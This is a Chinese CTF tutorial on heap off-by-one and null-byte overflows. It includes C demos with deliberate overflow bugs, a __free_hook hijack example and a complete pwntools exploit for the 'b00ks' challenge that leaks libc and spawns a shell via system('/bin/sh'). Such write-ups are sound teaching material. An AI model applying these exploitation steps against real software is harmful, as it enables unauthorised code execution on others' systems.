在使用循环向堆块中写入数据时,在循环设置错误后 导致多写入了一个字节,而产生的漏洞
off-by-one可以是基于各种缓冲区之上(如stack、.bss)的,但是这里的是指heap
通过修改大小造成块结构之间出现重叠,从而泄露其它块数据,或是覆盖其它块数据
例:
//gcc -g fance_error.c -o fance
int my_gets(char *ptr,int size)
{
int i;
for(i=0;i<=size;i++)
//从0开始循环到16,就导致循环了17次
{
ptr[i]=getchar();
}
return i;
}
int main()
{
void *chunk1,*chunk2;
chunk1=malloc(16);
chunk2=malloc(16);
printf("chunk1_Addr %p\n",chunk1);
printf("chunk2_Addr %p\n",chunk2);
puts("Get Input:");
my_gets(chunk1,16);
puts("over!");
return 0;
}
//abcdefghijklmnopqrstuvwxyz
可以看到已经覆盖了0x602020
的一字节
在size为0x100
的时候,溢出null字节可以使得 prive_in_use
位被清,这样前块会被认为是free块。
此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的后一块(理论上是当前正在 unlink 的块)与当前正在 unlink 的块大小是否相等。
例:
//gcc -g null_bytes.c -o null_bytes
int main(void)
{
char buffer[40]="";
void *chunk1;
chunk1=malloc(24);
printf("chunk1_Addr %p\n",chunk1);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
//strcpy函数会将buffer的"\x00"带上,导致此时的chunk1实际上是读取了25bytes
}
puts("over!");
return 0;
}
正常情况下可以看到最后一位应该是0x0411
,而在上面却被\x00
所覆盖
用IDA打开分析源码,可以看到在由于对边界的考虑不当,导致会多读取一个\x00
字节,当我们创建book1结构体的时候,会让结构体的地址覆盖掉这个\x00
,从而致使我们能直接读取到book1结构体的地址。
在确定住author_name的地址后,使用gdb打开输入author_name
的内容填充满32字节,再创建一个book结构体
此时使用gdb查看authour_name的地址
book结构体已经将author_name第33字节的\x00所覆盖导致再打印书本的时候,直接能让程序输出book结构体的地址,而book1结构体的地址上的0x5555555757420
和0x5555555757440
则分别是我们输入的book_name的aaaa和book_desc的bbbb。
当我们再创建一个book时,可以得知book2的结构体距离book1有0x70
字节大小(由于我调试了多次,所以在EXP中的偏移与此时的不同)
继续运行后,选择change current author name修改authorname后,再次查看author_name的地址
可以看到author_name第33字节上的\x00
已经将book1结构体的地址的最后一字节给覆盖了
而假设我们创建book1时,给name_size申请足够大的空间,那么被覆盖最后一字节为”\x00”的book1结构体地址就有可能落在book1的desc的空间中,从而我们就有机会利用edit a book来修改desc的内容,来实现任意地址读写
可以看到当我们申请的name_size在200大小时,book1结构体的地址就已经落在了book1的desc空间中,再拿0x555555757500
-0x5555557574f0
=0x10
,也就是book1结构体地址距离desc的偏移量
再看,此时的name_size的大小是200的话,距离book1结构体地址的距离是0x10
,那我们设置name_size为216时,便是正好指向我们的结构体了
而book2的desc地址也可以由book2结构体的地址
-book1结构体的地址
+0x10
得出
当申请的内存空间比较大时,空间将由mmap进行分配,而mmap分配的内存与libc的基地址存在一个固定的偏移,也就是说我们拿分配的地址
-固定偏移量
,就可以得到libc基地址
在exp中我申请的是0x21000
大小的desc空间
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
extern void (*__free_hook) (void *__ptr,const void *);
int main()
{
char *str = malloc(160);
strcpy(str,"/bin/sh");
printf("__free_hook: 0x%016X\n",__free_hook);
// 劫持__free_hook
__free_hook = system;
printf("system: 0x%016X\n",system);
printf("__free_hook: 0x%016X\n",__free_hook);
free(str);
return 0;
}
可以简单的理解为,当__free_hook地址上的内容不为空时,free操作将执行该地址上的内容
所以当我们free("/bin/sh")
时就等于system("/bin/sh")
关于free_hook详细的利用原理可以看EX师傅的文章 http://blog.eonew.cn/archives/521
在book1的desc中伪造结构体时,我们可以将book2的name和desc调转过来,也就是fake_book中的desc与book2中的name相对应,这样在后面的修改book2的desc时便可以一起修改上book2的name指向。
将book2中的name改写为bin_sh
、desc改写为free_hook
后再利用edit desc功能改写free_hook上的内容为system
的地址。
最后在delete book时,代码中的free(book2_struct+8)
由于free_hook不为空的原因,执行的就相当于system("/bin/sh")
了
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
global sh
sh = process("./b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def create(name_size,book_name,desc_size,book_desc):
sh.recvuntil(">")
sh.sendline("1")
sh.sendlineafter("Enter book name size: ",name_size)
sh.sendlineafter("Enter book name (Max 32 chars): ",book_name)
sh.sendlineafter("Enter book description size: ",desc_size)
sh.sendlineafter("Enter book description: ",book_desc)
def delete_book(book_id):
sh.recvuntil(">")
sh.sendline("2")
sh.sendlineafter("Enter the book id you want to delete: ",book_id)
def edit_book(book_id,desc):
sh.recvuntil(">")
sh.sendline("3")
sh.sendlineafter("Enter the book id you want to edit: ",book_id)
sh.sendlineafter("Enter new book description: ",desc)
def print_book():
sh.recvuntil(">")
sh.sendline("4")
def change_author(author_name):
sh.recvuntil(">")
sh.sendline("5")
sh.sendlineafter("Enter author name: ",author_name)
### 泄露book1_struct地址
sh.recvuntil("Enter author name: ")
sh.sendline("da1sy_author".ljust(32,"a"))
create("216","book1_name","216","book1_desc")
print_book()
#gdb.attach(sh)
sh.recvuntil("da1sy_author".ljust(32,"a"))
book1_struct_addr = u64(sh.recv(6).ljust(8,"\x00"))
success("book1_struct_addr => 0x%x",book1_struct_addr)
###利用mmap泄露book2_name\book2_desc地址上的数据
create("135168","book2_name","135168","book2_desc") #0x21000
#利用mmap来分配大空间,该空间的地址与libc有固定的偏移,以获取libc基地址
book2_struct_addr = book1_struct_addr+0x30
book2_name_addr = book2_struct_addr +0x8
book2_desc_addr = book2_struct_addr +0x10
success("book2_name_addr => 0x%x",book2_name_addr)
success("book2_desc_addr => 0x%x",book2_desc_addr)
payload = p64(1)+p64(book2_desc_addr)+p64(book2_name_addr)+p64(0xffff)
edit_book("1",payload)
#将book2的desc和name地址写入到book1的name和desc中,由于后续我们需要利用book2_name这个地址来修改上面的数据,
#所以这里要反过来填写
change_author("da1sy_author".ljust(32,"a"))
#修改author_name 使null字节覆盖到book1_struct的地址上,
#让book1_struct指向book1_desc中伪造的结构体
print_book()
sh.recvuntil("Name: ")
book2_desc = u64(sh.recv(6).ljust(8,"\x00"))
sh.recvuntil("Description: ")
book2_name = u64(sh.recv(6).ljust(8,"\x00"))
success("book2_name => 0x%x",book2_name)
success("book2_desc => 0x%x",book2_desc)
###利用已知的mmap所分配的book2_desc泄露libc的基地址
#gdb.attach(sh)
libc_base = book2_desc - 0x58e010
#可以在这里先下个断点,在GDB中确认book2_desc距离libc_base的偏移
success("libc_base => 0x%x",libc_base)
###劫持free_hook getshell
binsh_addr = libc_base + libc.search("/bin/sh").next()
system_addr = libc_base + libc.sym["system"]
free_hook_addr = libc_base + libc.sym["__free_hook"]
success("binsh_addr => 0x%x",binsh_addr)
success("system_addr => 0x%x",system_addr)
success("free_hook_addr => 0x%x",free_hook_addr)
payload = p64(binsh_addr)+p64(free_hook_addr)
edit_book("1",payload)
# 将book1的desc中伪造的结构体中的book2_name 指向bin_sh和free_hook
# 由于将name与desc调换了位置,所以我们修改book2_name时,只要在book2_name+8的位置上填充上free_hook,
# 便可以覆盖掉book2_name的desc
edit_book("2",p64(system_addr))
# 再将book2中的desc指向的free_hook地址替换为system
# 那么就等于将free_hook指向的地址修改为system
delete_book("2")
#当执行delete操作时
# 因为free_hook不为空,所以在free时将执行free_hook中的函数system
# 也就是 free(name) = free("/bin/sh") = system("/bin/sh")
sh.interactive()
学习参考: https://blog.csdn.net/qin9800/article/details/104996493 https://finch1.gitee.io/2020/02/02/asis-ctf-2016-b00ks/ https://www.jianshu.com/p/68e8144fe068 https://bbs.pediy.com/thread-246507.htm